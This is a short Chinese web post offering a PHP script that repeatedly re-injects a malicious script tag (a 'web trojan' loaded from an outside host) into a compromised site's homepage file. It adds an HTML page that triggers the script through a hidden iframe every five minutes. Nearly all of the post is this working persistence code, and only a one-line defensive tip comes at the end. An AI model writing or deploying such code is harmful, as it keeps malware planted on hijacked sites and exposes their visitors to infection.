有的站主页是缓存页面，你加入的网马代码或是webshell代码经常被更新或是其它的因素干掉，所以弄了这个代码,防范方法脚本之家将最后给解决方法
代码如下:
<?php
$file="aa.php" ;
$code="<script src=http://www.php.cn/;</script>";
$f=fopen($file,"r+");
$content=fread($f,filesize($file));
fclose($f);
if(!strstr($content,$code)){
$arrInsert = insertContent($file, $code, 3);
unlink($file);
foreach($arrInsert as $value)
{
file_put_contents($file, $value, FILE_APPEND);
}
}
function insertContent($source, $s, $iLine) {
$file_handle = fopen($source, "r");
$i = 0;
$arr = array();
while (!feof($file_handle)) {
$line = fgets($file_handle);
++$i;
if ($i == $iLine) {
$arr[] = $line .$s . "\n";
}else {
$arr[] = $line;
}
}
fclose($file_handle);
return $arr;
}
?>这个文件保存成php后，再用一个小程序隔几分钟指定执行它就可以。像operia浏览器就有这个功能。不过我又加了个html代码来运行它，可以用ie了，打开这个html后扔在哪就可以。
代码如下:
<HTML>
<HEAD>
</HEAD>
<BODY>
<SCRIPT LANGUAGE="JScript">
function singOut() {
var O = document.createElement("iframe");
O.src="http://www.google.com/上边的php文件.php";
O.width=100;
O.height=100;
document.body.appendChild(O);
}
window.setInterval("singOut();",300000);
</SCRIPT>
</BODY>
</HTML>
解决方法:这些代码都会在php中写入代码,我们可以写个规则禁止修改php文件.即可,一般服务器中才可以了,如果是虚拟主机的朋友就需要下载代码,经常查后门来解决了
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